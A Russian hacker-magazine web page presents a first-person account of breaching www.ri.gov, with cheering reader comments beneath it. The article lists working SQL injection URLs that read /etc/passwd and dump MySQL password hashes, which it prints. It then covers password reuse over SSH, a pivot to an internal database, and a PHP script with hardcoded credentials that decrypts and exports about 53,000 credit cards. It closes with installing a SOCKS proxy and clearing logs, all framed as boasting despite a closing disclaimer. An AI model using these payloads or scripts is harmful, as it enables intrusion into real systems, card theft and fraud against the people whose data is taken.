Карта сайта Хакер в RSS Энциклопедия Хакера PDA версия сайта Почтовые рассылки Хакера    Хакер в Twitter Хакер в ВКонтакте Приложение Хакер для Facebook Хакер на Formspring.me
Журнал Новости Форум Видео Life Xakep Live (блоги)
Bugtrack Статьи Блог Поиск English
Трюки с phpinfo Трюки с phpinfo
Совсем недавно в паблике появилась информация о новом интересном подходе к эксплуатации уязвимостей класса LFI с помощью бесполезной на первый взгляд функции phpinfo() и временных загрузочных файлов. Берем на вооружение этот полезный прием....
Интервью с создателем NGINX Игорем Сысоевым Интервью с создателем NGINX Игорем Сысоевым
Легкий веб-сервер NGINX буквально только что вышел на 2 место по популярности в интернете. А незадолго до этого создатель NGINX привлек 3 млн. долларов инвестиций и основал одноименную компанию. В общем, поводов для общения с Игорем Сысоевым у нас была масса....

Конкурс: Как был взломан ri.gov или как стать владельцем острова

Bookmark and Share
Творческий Союз "Ромашки" представляет: взлом www.ri.gov, или как стать владельцем острова.

Здравствуй, дорогой друг. Ты наверно уже догадываешься о чем я хочу рассказать :) И наверно уже вбил в своей Oper'e (в ослике? выйти из зала!) ссылочку www.ri.gov. Ну что ж, приступим!

Ни для кого не секрет, что google.com давно стал незаменимым помощником всех кулхацкеров. Где-то больше, где-то меньше, но гугль вливается в наш каждодневный быт. Очередной раз проспав универ, я обратился к гуглю - в поисках хорошего настроения вбил до боли знакомое: inurl:"php?id=". Гугль проглотил запрос и выплюнул туеву хучу ссылок, но немного потыкавшись по ссылкам, я понял что ничего интересного тут не найду. Не знаю что меня подтолкнуло, но я почему то решил потестить правительственные сайты и добавил к запросу гугля site:gov. Не помню сколько я безуспешно копался в поисках уязвимости, пока не наткнулся на линк http://www.ri.gov/towns/view.php?id=12. Надпись под лого сайта гласила:"The official Web site of the State of Rhode Island". Мои скудные знания географии не позволили мне вспомнить где "это" находится. Как потом оказалось Rhode Island - остров на северо-востоке США :) Как обычно поставил вместо значения переменной id кавычку... И тут все началось :) Сайт ясно дал понять, что входящие значения переменной id никаким образом не фильтруется, выбросив вот такую ошибку:"You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 14"



Далее переменной id была передано значение -999+union+select+1/* и к моему удивлению сайт реально оказался дырявый. На мой запрос скрипт ответил мне: "The used SELECT statements have a different number of columns". Ничего сверхъестественного. Обычная sql-injection. Мне оставалось только подобрать количество таблиц в базе. Сейчас я немного отдалюсь от темы взлома и объясню, что собственно значит "-999+union+select+1/*". Команда UNION означает объединение нескольких запросов к базе данных, мы специально передаем базе несуществующие значение id (в моем случае -999) а далее выполняем второй запрос "union+select+1/*" Возможно читателю непонятна цифра "1" следующая после команды "SELECT", но тут нет ничего принципиального. Мы просто возвращаем "1" вместо значения первой таблицы базы.

Вернемся к нашим баранам. Я как и следовало прибавлял значения к запросу. Ход этого можешь увидеть на соответствующем скрине.



Так я тыкался пока не дошел до верного количества столбцов в запросе. Этим запросом оказалось:"http://www.ri.gov/towns/view.php?id=-999+union+select+1,2,3,4,5,6,7,8,9,0,1, 2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0, 1,2,3,4,5,6,7,8,9,0,1,2". Если не поленишься и посчитаешь - узнаешь, что выполнение этого запроса означало, что в таблице 42 столбца :) Так как подбирать названия таблиц и баз было несколько напряжно - у меня сразу появилась одна идея. Я вспомнил, что у mysql есть такая возможность - читать файлы при определенных правах, я решил попробовать. Для этого всего то требовалось выполнить такой запрос:

http://www.ri.gov/towns/view.php?id=-999+union+select+1,2,4,4,5,6, 7,8,9,0,1,2,3,4,5,7,7,8,9,0,1,2,LOAD_FILE('путь_к_файлу'), 4,5,7,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2

Но, как оказалось, кавычки экранировались, и запрос не прошел.. Чтобы это обойти существует один хитрый способ - кодирование строки в 16-ти битной кодировке, которую mysql воспринимает как строку. Скрипт кодирющий строку - приведен ниже:

<?
$string="Ваша строка"; //
в моем случае это /etc/passwd
echo('0x'.bin2hex($string));
?>




После преобразования строки /etc/passwd мы получим строку 0x2f6574632f706173737764, которую можно легко подставлять и читать файлы. Файл /etc/passwd успешно прочитался, но когда я попытался прочитать файл /web/public/towns/view.php, то меня ждала большая птица Обломинго :( Как я понял, прав читать файлы в директории public не было. Казалось, дальше двигаться было некуда. Но тут товарищ virgoz посоветовал просмотреть пароли юзеров БД. И действительно, запрос прокатил:)

http://www.ri.gov/towns/view.php?id=-999+union+select+1,2,4,4,5, 6,7,8,9,0,1,2,3,4,5,7,7,8,9,0,1,password,user, 4,5,7,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2  +from+mysql.user+limit+0,1/*

Передо мной засветились до боли знакомые MySQL-хеши. Постепенно меняя значения limit+0,1 (limit+1,2 и т.д.)я выгреб все хеши пользователей БД. Их, как оказалось, было всего 7.

root:60e26aa9761c180d
joealba:4baa829c504fbce4
pinky:01a3c44c6c9d6130
awoodworth:26efc2f83cf90887
brain:378a812406cd01b1
pma:49bad6e70f171979
pma:40e56b2306f8c42d

Все 7 хешей были скормлены чудесной тулзе PasswordsPRO. Я догадывался, что простые пароли мне здесь не светят, и сразу поставил в брутфорсе перебор по буквам и цифрам. Тут сказался некий элемент фарта и PasswordsPRO после 4 часов брута выдал мне расшифрованный хеш одного из юзеров: awoodworth:anw34**** (часть пароля скрыта по понятным причинам).



Недолго думая, я запустил PuTTy и попробовал этот аккаунт к SSH. И на мое удивление он подошел! Тут же началось обследование внутренностей сервера. Я начал рыться в конфигах в поисках пароля от базы данных. Как я понял - на сайте крутился скрипт оплаты налогов через инет. Поэтому БД имела для меня огромную ценность. Несмотря на все ожидания поиск был недолгий - результат можешь видеть на скрине.



Немного смутил хост cabinet. Сразу промелькнула мысль, что сервер с базой данных находится внутри сети. Все сомнения развеялись как только была выполнена команда cat /etc/hosts. Из увиденного стало ясно - впереди долгая ночь :). Стало понятно - передо мной городская административная локалка. Внимание сразу привлек хост "192.168.4.35 cabinet". Наверно читатель понимает что я рассчитывал там найти:)



Я сразу полез в папочку .ssh в надежде найти там SSH-ключи, чтобы приконнектиться к внутрисетевым машинам. Но тут меня посетила чудесная мыслЯ: если админ юзает один пароль к SSH и MySQL, почему он не может использовать его же к остальным машинам сети? Далее была успешно выполнена команда "ssh 192.168.4.35", мне опять подфартило, и я попал на внутрисетевую машину. Тут сразу же началось исследование местности. Первым делом я посмотрел какие сервисы крутятся на машине. Как и ожидалось на тачке стояла БД. Немного пошатавшись по просторам БД, я обратил внимание на базу ROGER. В ней лежали такие сладкие названия, как СC_Application, CC_Transaction.



Но к моему великому сожалению номера кред были зашифрованы неизвестным мне до этого времени алгоритмом. Но стоило мне покопаться в сорцах www.ri.gov, как сразу выяснилось - все креды были зашифрованы функцией ENCODE c добавлением соли "need_a_framew0rk_f0r_php" :) Далее - дело техники. За пять минут товарищем virgoz'ом был написан небольшой скрипт на PHP, выдирающий и декодирующий креды в нужный мне вид.

<?
set_time_limit(0);
ignore_user_abort(1);
$host="cabinet";
$mysql_login="pinky";
$mysql_passwd="Gn@rf!";
@mysql_connect("$host","$mysql_login","$mysql_passwd") or die ("connect error");
@mysql_select_db("ROGER") or die("table select error");
$query=mysql_query("SELECT ROGER_ID, Card_First_Name, Card_Last_Name, Card_Type, Card_Exp_Month, Card_Exp_Year, Card_Address, Card_City, Card_State, Card_Code, Card_Country_Code, DECODE(Card_Number,'need_a_framew0rk_f0r_php') AS Card_Number FROM CC_Transaction");
$fil=fopen("card_base.txt","a");
while ($row=mysql_fetch_array($query))
{
If($row[Status_Code]==0)
{
$res_c=$row[ROGER_ID].":".$row[Card_First_Name].":". $row[Card_Last_Name].":".$row[Card_Type].":".$row[Card_Number]. ":".$row[Card_Exp_Month].":".$row[Card_Exp_Year].":". $row[Card_Address].":".$row[Card_City].":".$row[Card_State]. ":".$row[Card_Code].":".$row[Card_Country_Code];
fwrite($fil,$res_c."\n");
}
}
fclose($fil);
?>


Результат его выполнения можешь видеть на приведенном скрине. По моим скромным подсчетам в базе оказалось около 53000 кредитных карт. Об их дальнейшей судьбе думаю ты догадываешься :) К слову сказать, дальше копать правительственную локалку я не решился. Все закончилось тем, что я поставил на ri.gov сокс сервер, почистил логи и со спокойной душой удалился. Наверно админы были "немного" удивлены, обнаружив что их драгоценный ri.gov служит сокс-сервером всему интернету %).На этом хочу закончить свое и без того затянувшееся повествование. Надеюсь, ты сделал для себя определенные выводы. Удачи тебе, братан. Будь всегда на чеку и знай... бага где-то рядом ;)



Так же стоит упомянуть - что данная статья никоим образом не отражает действительности. На самом деле ничего этого не было, а вся история выдумана и изложена тов. Fan'ом и тов. virgoz'ом за кружкой пива. Повторение изложенного на деле карается законом РФ и не только :). Будь внимателен!



СЛЕДУЮЩИЕ СТАТЬИ
Бабло на малвари: как и сколько зарабатывают наши криминальные коллеги?
phpMyAdmin на лопатках: взлом известного движка с помощью нашумевшего бага в глобализации переменных
Критическая уязвимость в SSL вышла из разряда теоретических: исследователи выпустили программу для взлома шифрования
Cloud Hacking: облачные вычисления на службе у пентестера
Опасные обновления: заражение системы через механизм автоапдейтов
SCADA под прицелом: анализ защищенности АСУ ТП
Обратная связь DNS: продвинутый payload для организации туннеля
Сосед из ада: 18 лет тюрьмы за взлом Wi-Fi
Каждому хакеру – по VoIP: ищем и взламываем VoIP-шлюзы
Обратная связь DNS: обходим преграды и организовываем доступ в Сеть
ПРЕДЫДУЩИЕ СТАТЬИ
Взлом fibo-forex.ru: храните деньги в сберегательных кассах
Взлом Mail.ru: непобедимых не бывает
Как был взломан чат xakep.ru
Обман IDS: модель для сборки №2
Обман IDS: модель для сборки №1
Проникновение в Rambler.ru
Перенаправление SSH и HTTP трафика
Поиск уязвимостей в VCard PRO
Как был взломан Cyberbrest.com
Как был взломан Majordomo
ОБСУЖДЕНИЕ СТАТЬИ
Логин:
Пароль:
Если у вас есть форумный логин - вы можете использовать его, иначе анонимный гостевой доступ.

Для оставления комментария вы можете зарегистрироваться по упрощенной процедуре.

Обсуждение этой статьи на forum.xakep.ru
Для отправки сообщения введите код, указанный на картинке
Сообщение

UserГость
08.10.2010 6:59:09
Ответить Ссылка
Жесть =)) Особенно последний абзац =)
UserГость
08.10.2010 6:59:09
Ответить Ссылка
Вот только не понятно, вместо какого столбца вставлять LOAD_FILE(0x2f6574632f706173737764) ?
UserГость
08.10.2010 6:59:09
Ответить Ссылка
Зачет! молодец... вот блядь - это статья, не то что все остальное фуфло! молодец!
UserГость
08.10.2010 6:59:09
Ответить Ссылка
Это же просто 3,14 какой-то. Такие игры с правительством околоамериканских территорий. И не страшно что зажопят? это же срок дадут стопудово!
UserГость
08.10.2010 6:59:09
Ответить Ссылка
Но, как оказалось, кавычки экранировались, и запрос не прошел.. Мдя... а syntax to use near `\` <- это разве не говорит о том, что кавычки экранируются ?!
UserГость
08.10.2010 6:59:09
Ответить Ссылка
А кто-нибудь действительно понял, вместо какого столбца это вставлять? LOAD_FILE(0x2f6574632f706173737764)
UserГость
08.10.2010 6:59:09
Ответить Ссылка
это вставляеца вместо столбца, значение которого выводится на экран
UserГость
08.10.2010 6:59:09
Ответить Ссылка
Ну бля, недолго посчитав я решил, что вместо 23=)) теперь в защиту автора я скажу следующее: Думаю, что не имеет смысла приводить пример того, как производится подбор необходимого столбца для внедрения текстовой строки в качестве параметра к селекту. будем считать это подбором. Правда еще следует учесть, что рекомендуется вместо цифер использовать null, дабы избежать ошибок в запросе(не все столбцы могут содержать цифры и строки)
UserГость
08.10.2010 6:59:09
Ответить Ссылка
А почему сначала в запросе шли столбцы подряд: 1,2,3,4... а потом некоторые там повторились два раза типа 5,6,7,7,8,9... Это типа опечатка?
UserГость
08.10.2010 6:59:09
Ответить Ссылка
FBI is gonna get you... Now we know who did it! See you soon...
UserГость
08.10.2010 6:59:09
Ответить Ссылка
Udevlyaus` inogda narodu, lomat` nestroit`,.. a kogdanibut` i vam predetsya rabotat` sys_adminam, i vas budut e$#!#$ vsyakie lohi -)
UserГость
08.10.2010 6:59:09
Ответить Ссылка
da eto ne te kto lomaet lohi, a sysadmini lohi. nih**ja ne delaut, tolko dengi polu4ajut.
UserГость
08.10.2010 6:59:09
Ответить Ссылка
Posledniy orator prafff =)
UserГость
08.10.2010 6:59:09
Ответить Ссылка
ну про хекс вариант строк, это уже старо... странно что порт на секвел был доступен из вне... тупость, а так взлом красив. хоть что-то не столь заезженное... зачет... 3+. сокс видимо прикрыли, креды палить не стоило. общее мнение +, надеюсь что урл с яйди-шкой не в гугле нашел... (FaGO) + (редактирую: всетаки в гугле, обидно....)
UserГость
08.10.2010 6:59:09
Ответить Ссылка
база НЕ была доступна извне. в нее попали по SSH. находилось во внутренней сети. читай внимтальнее.
UserГость
08.10.2010 6:59:09
Ответить Ссылка
Хорошая статья!...
UserГость
08.10.2010 6:59:09
Ответить Ссылка
Ещё читай внимательнее последний абзац =))
UserГость
08.10.2010 6:59:09
Ответить Ссылка
РУЛЕЗЗЗЗЗЗЗЗЗЗЗЗЗ!!! Так их, америкосов грёбаных! =)))
UserГость
08.10.2010 6:59:09
Ответить Ссылка
На самом деле очень интересная и полезная статья. Очень бы хотелось в Привате обсудить статью с автором :-)




Keywords: zPOSTz zHOMEz, zHACKz, zINFOz, zINTERNETz z29550z
Для Авторов: edit Lock delete Lock



    Rambler's Top100